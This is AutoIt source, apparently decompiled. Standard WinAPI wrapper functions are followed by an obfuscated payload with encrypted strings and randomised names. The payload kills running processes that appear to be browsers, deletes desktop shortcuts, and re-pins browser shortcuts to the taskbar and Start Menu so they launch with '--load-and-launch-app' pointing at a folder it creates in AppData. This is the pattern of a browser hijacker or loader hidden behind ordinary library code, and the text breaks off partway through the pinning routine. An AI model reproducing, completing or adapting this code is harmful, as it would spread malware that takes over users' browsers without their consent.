  5569. Func _winapi_setdefaultprinter($sprinter)
  5570. Local $aresult = DllCall("winspool.drv", "bool", "SetDefaultPrinterW", "wstr", $sprinter)
  5571. If @error Then Return SetError(@error, @extended, False)
  5572. Return $aresult[0]
  5573. EndFunc
  5574.  
  5575. Func _winapi_setdibits($hdc, $hbmp, $istartscan, $iscanlines, $pbits, $pbmi, $icoloruse = 0)
  5576. Local $aresult = DllCall("gdi32.dll", "int", "SetDIBits", "handle", $hdc, "handle", $hbmp, "uint", $istartscan, "uint", $iscanlines, "ptr", $pbits, "ptr", $pbmi, "INT", $icoloruse)
  5577. If @error Then Return SetError(@error, @extended, False)
  5578. Return $aresult[0]
  5579. EndFunc
  5580.  
  5581. Func _winapi_setendoffile($hfile)
  5582. Local $aresult = DllCall("kernel32.dll", "bool", "SetEndOfFile", "handle", $hfile)
  5583. If @error Then Return SetError(@error, @extended, False)
  5584. Return $aresult[0]
  5585. EndFunc
  5586.  
  5587. Func _winapi_setevent($hevent)
  5588. Local $aresult = DllCall("kernel32.dll", "bool", "SetEvent", "handle", $hevent)
  5589. If @error Then Return SetError(@error, @extended, False)
  5590. Return $aresult[0]
  5591. EndFunc
  5592.  
  5593. Func _winapi_setfilepointer($hfile, $ipos, $imethod = 0)
  5594. Local $aresult = DllCall("kernel32.dll", "INT", "SetFilePointer", "handle", $hfile, "long", $ipos, "ptr", 0, "long", $imethod)
  5595. If @error Then Return SetError(@error, @extended, -1)
  5596. Return $aresult[0]
  5597. EndFunc
  5598.  
  5599. Func _winapi_setfocus($hwnd)
  5600. Local $aresult = DllCall("user32.dll", "hwnd", "SetFocus", "hwnd", $hwnd)
  5601. If @error Then Return SetError(@error, @extended, 0)
  5602. Return $aresult[0]
  5603. EndFunc
  5604.  
  5605. Func _winapi_setfont($hwnd, $hfont, $bredraw = True)
  5606. _sendmessage($hwnd, $__winapiconstant_wm_setfont, $hfont, $bredraw, 0, "hwnd")
  5607. EndFunc
  5608.  
  5609. Func _winapi_sethandleinformation($hobject, $imask, $iflags)
  5610. Local $aresult = DllCall("kernel32.dll", "bool", "SetHandleInformation", "handle", $hobject, "dword", $imask, "dword", $iflags)
  5611. If @error Then Return SetError(@error, @extended, False)
  5612. Return $aresult[0]
  5613. EndFunc
  5614.  
  5615. Func _winapi_setlayeredwindowattributes($hwnd, $itranscolor, $itransgui = 255, $iflags = 3, $bcolorref = False)
  5616. If $iflags = Default OR $iflags = "" OR $iflags < 0 Then $iflags = 3
  5617. If NOT $bcolorref Then
  5618. $itranscolor = Int(BinaryMid($itranscolor, 3, 1) & BinaryMid($itranscolor, 2, 1) & BinaryMid($itranscolor, 1, 1))
  5619. EndIf
  5620. Local $aresult = DllCall("user32.dll", "bool", "SetLayeredWindowAttributes", "hwnd", $hwnd, "INT", $itranscolor, "byte", $itransgui, "dword", $iflags)
  5621. If @error Then Return SetError(@error, @extended, False)
  5622. Return $aresult[0]
  5623. EndFunc
  5624.  
  5625. Func _winapi_setparent($hwndchild, $hwndparent)
  5626. Local $aresult = DllCall("user32.dll", "hwnd", "SetParent", "hwnd", $hwndchild, "hwnd", $hwndparent)
  5627. If @error Then Return SetError(@error, @extended, 0)
  5628. Return $aresult[0]
  5629. EndFunc
  5630.  
  5631. Func _winapi_setprocessaffinitymask($hprocess, $imask)
  5632. Local $aresult = DllCall("kernel32.dll", "bool", "SetProcessAffinityMask", "handle", $hprocess, "ulong_ptr", $imask)
  5633. If @error Then Return SetError(@error, @extended, False)
  5634. Return $aresult[0]
  5635. EndFunc
  5636.  
  5637. Func _winapi_setsyscolors($velements, $vcolors)
  5638. Local $bisearray = IsArray($velements), $biscarray = IsArray($vcolors)
  5639. Local $ielementnum
  5640. If NOT $biscarray AND NOT $bisearray Then
  5641. $ielementnum = 1
  5642. ElseIf $biscarray OR $bisearray Then
  5643. If NOT $biscarray OR NOT $bisearray Then Return SetError(-1, -1, False)
  5644. If UBound($velements) <> UBound($vcolors) Then Return SetError(-1, -1, False)
  5645. $ielementnum = UBound($velements)
  5646. EndIf
  5647. Local $telements = DllStructCreate("int Element[" & $ielementnum & "]")
  5648. Local $tcolors = DllStructCreate("INT NewColor[" & $ielementnum & "]")
  5649. If NOT $bisearray Then
  5650. DllStructSetData($telements, "Element", $velements, 1)
  5651. Else
  5652. For $x = 0 To $ielementnum - 1
  5653. DllStructSetData($telements, "Element", $velements[$x], $x + 1)
  5654. Next
  5655. EndIf
  5656. If NOT $biscarray Then
  5657. DllStructSetData($tcolors, "NewColor", $vcolors, 1)
  5658. Else
  5659. For $x = 0 To $ielementnum - 1
  5660. DllStructSetData($tcolors, "NewColor", $vcolors[$x], $x + 1)
  5661. Next
  5662. EndIf
  5663. Local $aresult = DllCall("user32.dll", "bool", "SetSysColors", "int", $ielementnum, "struct*", $telements, "struct*", $tcolors)
  5664. If @error Then Return SetError(@error, @extended, False)
  5665. Return $aresult[0]
  5666. EndFunc
  5667.  
  5668. Func _winapi_settextcolor($hdc, $icolor)
  5669. Local $aresult = DllCall("gdi32.dll", "INT", "SetTextColor", "handle", $hdc, "INT", $icolor)
  5670. If @error Then Return SetError(@error, @extended, -1)
  5671. Return $aresult[0]
  5672. EndFunc
  5673.  
  5674. Func _winapi_setwindowlong($hwnd, $iindex, $ivalue)
  5675. _winapi_setlasterror(0)
  5676. Local $sfuncname = "SetWindowLongW"
  5677. If @AutoItX64 Then $sfuncname = "SetWindowLongPtrW"
  5678. Local $aresult = DllCall("user32.dll", "long_ptr", $sfuncname, "hwnd", $hwnd, "int", $iindex, "long_ptr", $ivalue)
  5679. If @error Then Return SetError(@error, @extended, 0)
  5680. Return $aresult[0]
  5681. EndFunc
  5682.  
  5683. Func _winapi_setwindowplacement($hwnd, $pwindowplacement)
  5684. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPlacement", "hwnd", $hwnd, "ptr", $pwindowplacement)
  5685. If @error Then Return SetError(@error, @extended, False)
  5686. Return $aresult[0]
  5687. EndFunc
  5688.  
  5689. Func _winapi_setwindowpos($hwnd, $hafter, $ix, $iy, $icx, $icy, $iflags)
  5690. Local $aresult = DllCall("user32.dll", "bool", "SetWindowPos", "hwnd", $hwnd, "hwnd", $hafter, "int", $ix, "int", $iy, "int", $icx, "int", $icy, "uint", $iflags)
  5691. If @error Then Return SetError(@error, @extended, False)
  5692. Return $aresult[0]
  5693. EndFunc
  5694.  
  5695. Func _winapi_setwindowrgn($hwnd, $hrgn, $bredraw = True)
  5696. Local $aresult = DllCall("user32.dll", "int", "SetWindowRgn", "hwnd", $hwnd, "handle", $hrgn, "bool", $bredraw)
  5697. If @error Then Return SetError(@error, @extended, False)
  5698. Return $aresult[0]
  5699. EndFunc
  5700.  
  5701. Func _winapi_setwindowshookex($idhook, $pfn, $hmod, $ithreadid = 0)
  5702. Local $aresult = DllCall("user32.dll", "handle", "SetWindowsHookEx", "int", $idhook, "ptr", $pfn, "handle", $hmod, "dword", $ithreadid)
  5703. If @error Then Return SetError(@error, @extended, 0)
  5704. Return $aresult[0]
  5705. EndFunc
  5706.  
  5707. Func _winapi_setwindowtext($hwnd, $stext)
  5708. Local $aresult = DllCall("user32.dll", "bool", "SetWindowTextW", "hwnd", $hwnd, "wstr", $stext)
  5709. If @error Then Return SetError(@error, @extended, False)
  5710. Return $aresult[0]
  5711. EndFunc
  5712.  
  5713. Func _winapi_showcursor($bshow)
  5714. Local $aresult = DllCall("user32.dll", "int", "ShowCursor", "bool", $bshow)
  5715. If @error Then Return SetError(@error, @extended, 0)
  5716. Return $aresult[0]
  5717. EndFunc
  5718.  
  5719. Func _winapi_showerror($stext, $bexit = True)
  5720. _winapi_msgbox($mb_systemmodal, "Error", $stext)
  5721. If $bexit Then Exit
  5722. EndFunc
  5723.  
  5724. Func _winapi_showmsg($stext)
  5725. _winapi_msgbox($mb_systemmodal, "Information", $stext)
  5726. EndFunc
  5727.  
  5728. Func _winapi_showwindow($hwnd, $icmdshow = 5)
  5729. Local $aresult = DllCall("user32.dll", "bool", "ShowWindow", "hwnd", $hwnd, "int", $icmdshow)
  5730. If @error Then Return SetError(@error, @extended, False)
  5731. Return $aresult[0]
  5732. EndFunc
  5733.  
  5734. Func _winapi_stringfromguid($pguid)
  5735. Local $aresult = DllCall("ole32.dll", "int", "StringFromGUID2", "struct*", $pguid, "wstr", "", "int", 40)
  5736. If @error OR NOT $aresult[0] Then Return SetError(@error, @extended, "")
  5737. Return SetExtended($aresult[0], $aresult[2])
  5738. EndFunc
  5739.  
  5740. Func _winapi_stringlena(Const ByRef $tstring)
  5741. Local $aresult = DllCall("kernel32.dll", "int", "lstrlenA", "struct*", $tstring)
  5742. If @error Then Return SetError(@error, @extended, 0)
  5743. Return $aresult[0]
  5744. EndFunc
  5745.  
  5746. Func _winapi_stringlenw(Const ByRef $tstring)
  5747. Local $aresult = DllCall("kernel32.dll", "int", "lstrlenW", "struct*", $tstring)
  5748. If @error Then Return SetError(@error, @extended, 0)
  5749. Return $aresult[0]
  5750. EndFunc
  5751.  
  5752. Func _winapi_sublangid($ilgid)
  5753. Return BitShift($ilgid, 10)
  5754. EndFunc
  5755.  
  5756. Func _winapi_systemparametersinfo($iaction, $iparam = 0, $vparam = 0, $iwinini = 0)
  5757. Local $aresult = DllCall("user32.dll", "bool", "SystemParametersInfoW", "uint", $iaction, "uint", $iparam, "ptr", $vparam, "uint", $iwinini)
  5758. If @error Then Return SetError(@error, @extended, False)
  5759. Return $aresult[0]
  5760. EndFunc
  5761.  
  5762. Func _winapi_twipsperpixelx()
  5763. Local $hdc, $itwipsperpixelx
  5764. $hdc = _winapi_getdc(0)
  5765. $itwipsperpixelx = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsx)
  5766. _winapi_releasedc(0, $hdc)
  5767. Return $itwipsperpixelx
  5768. EndFunc
  5769.  
  5770. Func _winapi_twipsperpixely()
  5771. Local $hdc, $itwipsperpixely
  5772. $hdc = _winapi_getdc(0)
  5773. $itwipsperpixely = 1440 / _winapi_getdevicecaps($hdc, $__winapiconstant_logpixelsy)
  5774. _winapi_releasedc(0, $hdc)
  5775. Return $itwipsperpixely
  5776. EndFunc
  5777.  
  5778. Func _winapi_unhookwindowshookex($hhk)
  5779. Local $aresult = DllCall("user32.dll", "bool", "UnhookWindowsHookEx", "handle", $hhk)
  5780. If @error Then Return SetError(@error, @extended, False)
  5781. Return $aresult[0]
  5782. EndFunc
  5783.  
  5784. Func _winapi_updatelayeredwindow($hwnd, $hdcdest, $pptdest, $psize, $hdcsrce, $pptsrce, $irgb, $pblend, $iflags)
  5785. Local $aresult = DllCall("user32.dll", "bool", "UpdateLayeredWindow", "hwnd", $hwnd, "handle", $hdcdest, "ptr", $pptdest, "ptr", $psize, "handle", $hdcsrce, "ptr", $pptsrce, "dword", $irgb, "ptr", $pblend, "dword", $iflags)
  5786. If @error Then Return SetError(@error, @extended, False)
  5787. Return $aresult[0]
  5788. EndFunc
  5789.  
  5790. Func _winapi_updatewindow($hwnd)
  5791. Local $aresult = DllCall("user32.dll", "bool", "UpdateWindow", "hwnd", $hwnd)
  5792. If @error Then Return SetError(@error, @extended, False)
  5793. Return $aresult[0]
  5794. EndFunc
  5795.  
  5796. Func _winapi_waitforinputidle($hprocess, $itimeout = -1)
  5797. Local $aresult = DllCall("user32.dll", "dword", "WaitForInputIdle", "handle", $hprocess, "dword", $itimeout)
  5798. If @error Then Return SetError(@error, @extended, False)
  5799. Return $aresult[0]
  5800. EndFunc
  5801.  
  5802. Func _winapi_waitformultipleobjects($icount, $phandles, $bwaitall = False, $itimeout = -1)
  5803. Local $aresult = DllCall("kernel32.dll", "INT", "WaitForMultipleObjects", "dword", $icount, "ptr", $phandles, "bool", $bwaitall, "dword", $itimeout)
  5804. If @error Then Return SetError(@error, @extended, -1)
  5805. Return $aresult[0]
  5806. EndFunc
  5807.  
  5808. Func _winapi_waitforsingleobject($hhandle, $itimeout = -1)
  5809. Local $aresult = DllCall("kernel32.dll", "INT", "WaitForSingleObject", "handle", $hhandle, "dword", $itimeout)
  5810. If @error Then Return SetError(@error, @extended, -1)
  5811. Return $aresult[0]
  5812. EndFunc
  5813.  
  5814. Func _winapi_widechartomultibyte($punicode, $icodepage = 0, $bretstring = True)
  5815. Local $sunicodetype = "wstr"
  5816. If NOT IsString($punicode) Then $sunicodetype = "struct*"
  5817. Local $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "ptr", 0, "int", 0, "ptr", 0, "ptr", 0)
  5818. If @error OR NOT $aresult[0] Then Return SetError(@error + 20, @extended, "")
  5819. Local $tmultibyte = DllStructCreate("char[" & $aresult[0] & "]")
  5820. $aresult = DllCall("kernel32.dll", "int", "WideCharToMultiByte", "uint", $icodepage, "dword", 0, $sunicodetype, $punicode, "int", -1, "struct*", $tmultibyte, "int", $aresult[0], "ptr", 0, "ptr", 0)
  5821. If @error OR NOT $aresult[0] Then Return SetError(@error + 10, @extended, "")
  5822. If $bretstring Then Return DllStructGetData($tmultibyte, 1)
  5823. Return $tmultibyte
  5824. EndFunc
  5825.  
  5826. Func _winapi_windowfrompoint(ByRef $tpoint)
  5827. Local $aresult = DllCall("user32.dll", "hwnd", "WindowFromPoint", "struct", $tpoint)
  5828. If @error Then Return SetError(@error, @extended, 0)
  5829. Return $aresult[0]
  5830. EndFunc
  5831.  
  5832. Func _winapi_writeconsole($hconsole, $stext)
  5833. Local $aresult = DllCall("kernel32.dll", "bool", "WriteConsoleW", "handle", $hconsole, "wstr", $stext, "dword", StringLen($stext), "dword*", 0, "ptr", 0)
  5834. If @error Then Return SetError(@error, @extended, False)
  5835. Return $aresult[0]
  5836. EndFunc
  5837.  
  5838. Func _winapi_writefile($hfile, $pbuffer, $itowrite, ByRef $iwritten, $poverlapped = 0)
  5839. Local $aresult = DllCall("kernel32.dll", "bool", "WriteFile", "handle", $hfile, "ptr", $pbuffer, "dword", $itowrite, "dword*", 0, "ptr", $poverlapped)
  5840. If @error Then Return SetError(@error, @extended, False)
  5841. $iwritten = $aresult[4]
  5842. Return $aresult[0]
  5843. EndFunc
  5844.  
  5845. Func _winapi_writeprocessmemory($hprocess, $pbaseaddress, $pbuffer, $isize, ByRef $iwritten, $sbuffer = "ptr")
  5846. Local $aresult = DllCall("kernel32.dll", "bool", "WriteProcessMemory", "handle", $hprocess, "ptr", $pbaseaddress, $sbuffer, $pbuffer, "ulong_ptr", $isize, "ulong_ptr*", 0)
  5847. If @error Then Return SetError(@error, @extended, False)
  5848. $iwritten = $aresult[5]
  5849. Return $aresult[0]
  5850. EndFunc
  5851.  
  5852. #NoTrayIcon
  5853.  
  5854. Local $NY46912G26724G3875U25831 = False
  5855. Local $GC29808U31467 = False
  5856. Local $AS88633S17684 = False
  5857. Local $ZJ64817K19423 = False
  5858. Local $ZC88799C98092 = YK69395P92380('0xDFAC504535F5E850E471DB3F2B6F7528','63504267791308182131')
  5859.  
  5860. If ProcessExists(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131')) Then
  5861. ProcessClose(YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'))
  5862. $NY46912G26724G3875U25831 = True
  5863. EndIf
  5864. If ProcessExists(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131')) Then
  5865. ProcessClose(YK69395P92380('0xFF2E030973E8B0189AA05E0DE6E4C850','63504267791308182131'))
  5866. $ZJ64817K19423 = True
  5867. EndIf
  5868. If ProcessExists(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131')) Then
  5869. ProcessClose(YK69395P92380('0x0E054B2DD89289A5DFEE09C194F51333','63504267791308182131'))
  5870. $GC29808U31467 = True
  5871. EndIf
  5872. If ProcessExists(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131')) Then
  5873. ProcessClose(YK69395P92380('0xAA0B42620039BC564DF32FCF26B2E675','63504267791308182131'))
  5874. $AS88633S17684 = True
  5875. EndIf
  5876.  
  5877.  
  5878. DirCreate(@AppDataDir & YK69395P92380('0xEAC1A394C62F4DA0C1A21CA24950BC3B','63504267791308182131'))
  5879.  
  5880.  
  5881. Func FS6819T57753()
  5882. Local $TB44737Z1859
  5883. Local $QV53761I27021
  5884. Local $QJ66301M54074=RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05B86EE6EB08A931FAA1CAC16CE56F28B207F7952C895591A6A6B2465C22A03816B0697A5838715377C00BD31BB9246A639D31E7E5D77FB6863BE38918C1C0A381BD36CEA7B12164EEAC66CBFE8C85776C','63504267791308182131'), YK69395P92380('0x2E7D00FA749476C8DFC5A813839ABCB9','63504267791308182131'))
  5885. If StringInStr(RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05205E886D1B1B909C6C626427660CB821AF483710026D419C72B043C080055DB8B911C639296DC4EBFB0171AAA2D99D6A8650990EE430156A78020FDD2B49EDC0CB1806E75B56A46CBEB783FA41CD0059','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')), YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  5886. $QV53761I27021 = RegRead(YK69395P92380('0xCB5A0DF80EF62B2F0AE4E3E99CDF8A05205E886D1B1B909C6C626427660CB821AF483710026D419C72B043C080055DB8B911C639296DC4EBFB0171AAA2D99D6A8650990EE430156A78020FDD2B49EDC0CB1806E75B56A46CBEB783FA41CD0059','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')) & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  5887. ElseIf StringInStr(RegRead(YK69395P92380('0xB112DBDE1EFC1516F3A9594FFAF499BE4C389143E4A5D54EEDDDFCE161F1B8BD22D058593CB5C7C40B863E8F8AF6422F440FEBA6D91E9D6CE0803F59DEE48C22635530EFF7247C2BB67F05E3AC7BF5DF6594CBA63E56D262D4397F0F891F867B','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')),YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  5888. $QV53761I27021=RegRead(YK69395P92380('0xB112DBDE1EFC1516F3A9594FFAF499BE4C389143E4A5D54EEDDDFCE161F1B8BD22D058593CB5C7C40B863E8F8AF6422F440FEBA6D91E9D6CE0803F59DEE48C22635530EFF7247C2BB67F05E3AC7BF5DF6594CBA63E56D262D4397F0F891F867B','63504267791308182131'), YK69395P92380('0x11D3DEEDB29539B470124F97F5D6DAA6','63504267791308182131')) & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  5889. ElseIf StringInStr($QJ66301M54074,YK69395P92380('0x330F901E1460CC0DD8BBDE36ED0954D8','63504267791308182131')) Then
  5890. $QV53761I27021=$QJ66301M54074 & YK69395P92380('0xD94915FFE4E18D62CF2BFAFE3DD0F3AD','63504267791308182131')
  5891. Else
  5892. $QV53761I27021=YF91926P38358() & YK69395P92380('0x0E623C1E1A5372A67D09A4E613E750E90D055377BFE6820CF4DA5CD5B2148BE2569FC744DD6BC6C6E0EE8095A6B5FCBB','63504267791308182131')
  5893. EndIf
  5894. return $QV53761I27021
  5895. EndFunc
  5896. Func YF91926P38358()
  5897. Local $LT55094O15783
  5898. Switch @OSArch
  5899. Case YK69395P92380('0xF67EBCE74C2D92323CDC472FD9A8B686','63504267791308182131')
  5900. $LT55094O15783 = YK69395P92380('0x02F29BA51024032BCF37DE70A41C16D7','63504267791308182131')
  5901. Case YK69395P92380('0x49B2A063336DEF35C40D2C5A79138422','63504267791308182131')
  5902. $LT55094O15783 = YK69395P92380('0xB7DF7EBA14D27AF78259A5C9D84290FF6203D595123271D34CFA6D96442F9F23','63504267791308182131')
  5903. EndSwitch
  5904. Return @HomeDrive & YK69395P92380('0x76CA0FE4442E6E15BC0207CA9BC9319C','63504267791308182131') & $LT55094O15783 & YK69395P92380('0x76CA0FE4442E6E15BC0207CA9BC9319C','63504267791308182131')
  5905. EndFunc ;==>YF91926P38358h
  5906.  
  5907. Func iepath()
  5908. Return YF91926P38358() & YK69395P92380('0xA7D00F37820CC7EE6D29B6914415C2E3FDEBF206BEABF76161AEAD7A516D222E','63504267791308182131')
  5909. EndFunc
  5910.  
  5911. Func NT94698L80975()
  5912. FileDelete(@DesktopDir & YK69395P92380('0x44DFE4D03975817D8B7E0BB6BC6FD8B4','63504267791308182131'))
  5913. FileDelete(@DesktopDir& YK69395P92380('0x44DFE4D03975817D8B7E0BB6BC6FD8B4','63504267791308182131'))
  5914. FileDelete(@DesktopDir & YK69395P92380('0x37A2AB6C61289E09EE6C9FB95A244C0D','63504267791308182131'))
  5915. FileDelete(@DesktopDir& YK69395P92380('0x37A2AB6C61289E09EE6C9FB95A244C0D','63504267791308182131'))
  5916. FileDelete(@DesktopDir & YK69395P92380('0x352788FCBB530933331DA8D617DE7097','63504267791308182131'))
  5917. FileDelete(@DesktopDir& YK69395P92380('0x352788FCBB530933331DA8D617DE7097','63504267791308182131'))
  5918. FileDelete(@DesktopDir & YK69395P92380('0x6161C9A4D36EE659AE61C5E4AFC1B684','63504267791308182131'))
  5919. FileDelete(@DesktopDir& YK69395P92380('0x6161C9A4D36EE659AE61C5E4AFC1B684','63504267791308182131'))
  5920. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5921. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5922. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5923. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5924. FB3692G31457(FS6819T57753(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5925. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5926. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5927. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5928. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5929. FB3692G31457(iepath(),YK69395P92380('0x1422894EAEF6326B4C133E5634FC9567','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'))
  5930. FB3692G31457(iepath(),YK69395P92380('0x7B7F8D8C8689A7B0F1CBEE8D287E8B0A','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0xA7D00F37820CC7EE6D29B6914415C2E35209CCC38DB32EABF5D9BC529BC45A47','63504267791308182131'))
  5931. FB3692G31457(FS6819T57753(),YK69395P92380('0x7B7F8D8C8689A7B0F1CBEE8D287E8B0A','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'),YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  5932. FB3692G31457(FS6819T57753(), 'p2tb', BinaryToString(YK69395P92380('0xC30CD1984B496220CC37366A5BC6CB58D8E409BE5D58A5A1E2CA9BB801118882','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"',YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  5933. FB3692G31457(FS6819T57753(), 'p2sm', BinaryToString(YK69395P92380('0xC30CD1984B496220CC37366A5BC6CB58D8E409BE5D58A5A1E2CA9BB801118882','63504267791308182131')) & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"',YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'))
  5934. FileCreateShortcut(FS6819T57753(),@DesktopDir & YK69395P92380('0xC7AB1E9768CC0A86E7AC8CA945A63031723538527CAAC0FAA1F35B5FEFE8414B','63504267791308182131'), StringReplace(FS6819T57753(),YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131')), '--load-and-launch-app="' & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"', YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x3D4D0CE6DBE36FA68DF5171616A4A90E','63504267791308182131'), @SW_SHOWMAXIMIZED)
  5935. FileCreateShortcut(FS6819T57753(),@DesktopDir & YK69395P92380('0xCCA1F4DDFA66360E209199AA9E2827A5F4604C4255BFC0A96209298DCBE40379','63504267791308182131'), StringReplace(FS6819T57753(),YK69395P92380('0x766FC3141C893A2EC6550DAEF18E38B9','63504267791308182131'),YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131')), '--load-and-launch-app="' & @AppDataDir & YK69395P92380('0x35CAED94ED87EFD32F4ADD5DC3AF03D8','63504267791308182131') & '"', YK69395P92380('0x7D61F855CF61312D24D26F1E8734EFB2','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x61EBC6A6EB80FD9C642BBC01EB85E134','63504267791308182131'), YK69395P92380('0x3D4D0CE6DBE36FA68DF5171616A4A90E','63504267791308182131'), @SW_SHOWMAXIMIZED)
  5936. ControlSend('Program Manager', '', '', '{F5}')
  5937. EndFunc
  5938.  
  5939.  
  5940. Func FB3692G31457($DU96650J50007, $PY88057E8772 = 'p2sm', $QE84068V19446 = '',$FH37126V95637='Google Chrome')
  5941. $MX50889N8062 = 0
  5942. If Not FileExists($DU96650J50007) Or @OSBuild < 7600 Then return False ; to arrange to your liking, SetError() & co
  5943.  
  5944. ;split path, filename and extension
  5945. $QV53761I27021split = StringSplit($DU96650J50007, '\')
  5946. $LQ96791B72186 = $QV53761I27021split[0]
  5947. $NY46912G26724H79275Y54978 = $QV53761I27021split[$LQ96791B72186]
  5948. $QV53761I27021 = StringReplace($DU96650J50007, $NY46912G26724H79275Y54978, '')
  5949. $QV53761I27021 = StringTrimRight($QV53761I27021, 1)
  5950. $NY46912G26724H79275Y54978split = StringSplit($NY46912G26724H79275Y54978, YK69395P92380('0xDCCFEBB2E966BFA5CC3F0609D038FFE4','63504267791308182131'))
  5951. $QX55252I86473 = $NY46912G26724H79275Y54978split[0]
  5952. $NY46912G26724H79275Y54978ext = $NY46912G26724H79275Y54978split[$QX55252I86473]
  5953. $NY46912G26724H79275Y54978name = StringReplace($NY46912G26724H79275Y54978, '.' & $NY46912G26724H79275Y54978ext, '', 1)
  5954.  
  5955. ;define code to use depending on action choosen
  5956. Switch $PY88057E8772
  5957. Case 'pin2SM', 'p2sm' ;pin to Start Menu
  5958. $DW40391F60732 = 5381
  5959. Case 'unpinFromSM', 'up2sm' ;unpin from Start Menu
  5960. $DW40391F60732 = 5382
  5961. Case 'pin2TB', 'p2tb' ;pin to Task Bar
  5962. $DW40391F60732 = 5386
  5963. Case 'unpinFromTB', 'up2tb' ;unpin from Task Bar
  5964. $DW40391F60732 = 5387
  5965. EndSwitch
  5966.  
  5967. ;if arguments, make a shortcut, pin it then mark it for deletion
  5968. If $QE84068V19446 <> '' And $DW40391F60732 <> 5382 And $DW40391F60732 <> 5387 Then
  5969. $LU75806O87936 = @DesktopDir & '\' & $NY46912G26724H79275Y54978name & '.lnk'
